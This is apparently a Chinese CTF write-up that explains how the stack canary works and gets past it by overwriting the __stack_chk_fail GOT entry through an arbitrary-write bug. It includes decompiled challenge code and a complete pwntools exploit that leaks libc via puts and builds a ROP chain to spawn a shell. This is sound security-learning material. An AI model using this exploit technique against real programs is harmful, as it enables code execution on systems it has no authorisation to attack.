0%

__stack_chk_fail绕过canary

__stack_chk_fail绕过canary

canary是保护栈的机制,会随机产生一个数放在栈底前四个字节或者前八个字节,在函数结束时会检查这个数是否改变,如果改变的话会触发__stack_chk_fail函数,打印arg[0]参数。然后强制退出,注意_stack_chk_fail函数不是在原函数退出后再执行,而是在函数执行leave指令时call_stack_chk_fail,栈的结构长这个样子

image-20211108233117754

执行_stack_chk_fial函数后直接退出程序,根本来不及执行在返回地址构造的rop,这也是一般防止栈溢出的方法

目前我知道的可以绕过的两种办法一个是任意读,一个是任意写,下面要举例的就是任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-114h]
char v5[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]

v6 = __readfsqword(0x28u);
sub_400766(a1, a2, a3);
puts("^_^");
while ( 1 )
{
while ( 1 )
{
puts("your choice");
v4 = sub_4007C7();
if ( v4 )
break;
sub_40086C();
}
if ( v4 != 1 )
break;
sub_4008BB(v5);
}
return 0LL;
}


int sub_4007C7()
{
char buf; // [rsp+7h] [rbp-29h] BYREF
int i; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
v3 = read(0, &buf, 1uLL);
if ( v3 <= 0 )
{
puts("error");
exit(0);
}
if ( buf == 10 )
{
nptr[i] = 0;
return atoi(nptr);
}
nptr[i] = buf;
}
return atoi(nptr);
}

逻辑比较简单,可以两个主要功能是栈溢出和任意写,绕过canary要怎么利用_stack_chk_fail呢,这道题主要利用修改_stack_chk_fail的got表,让执行这个函数时跳到我们构造的指令上,就可以避免程序退出了,主要是不让程序退出,所以覆盖got表时可以是gadget或者一个普通函数,我本来是选择覆盖成一个普通函数的,但是一直覆盖不成功,很折磨,知道看到了佬的wp才发现自己有多愚蠢。

这个程序接收任意写地址时是接收整数字符串的,所以得把地址转换成十进制输入,我是先把他转化成十进制,然后输出的,但其实str(地址)就行,这样就会自动把十六进制转化成十进制然后输出,然后是要覆盖的值,这个是通过read接受的,他是直接接收字符,然后把字节转化成对应的十六进制储存,也可以直接接收\x的形式,我们要输入地址,直接\x输出就行,但当时受上面的输出影响,也直接输出十进制整数字符串了,最后转化后的十六进制数肯定不是我们想要的。

总结:要注意程序接收数据时的形式,根据他的形式输出对应的值

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level='debug'
sh=process('./pwn1')
elf=ELF('./pwn1')
libc=elf.libc
pop3_ret=0x4009ff
pop_rdi=0x400a03
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
__stack_fail=elf.got['__stack_chk_fail']
sh.recvuntil('your choice')
sh.sendline('0')
sh.recvuntil('address:\n')
sh.sendline(str(__stack_fail))
sh.recvuntil('content:\n')
sh.send(p64(pop3_ret))
sh.recvuntil('your choice')
sh.sendline(str(1))
sh.recvuntil('size:')
sh.sendline('311')
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40090B)+'a'*(0x110-0x8*3)
sh.recvuntil('content:\n')
sh.sendline(payload)
sh.recvuntil('your choice')
sh.sendline('2')
sh.recvline()
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc.address=puts_addr-libc.sym['puts']
payload1=p64(pop_rdi)+p64(next(libc.search("/bin/sh")))+p64(libc.sym['system'])+'a'*(0x110-0x8*3)
sh.recvuntil('your choice')
sh.sendline(str(1))
sh.recvuntil('size:')
sh.sendline('311')
sh.sendline(payload1)
sh.sendline('2')
sh.interactive()

我是最后覆盖成pop3地址,然后执行我的rop的,佬是覆盖成ret的,但原理差不多。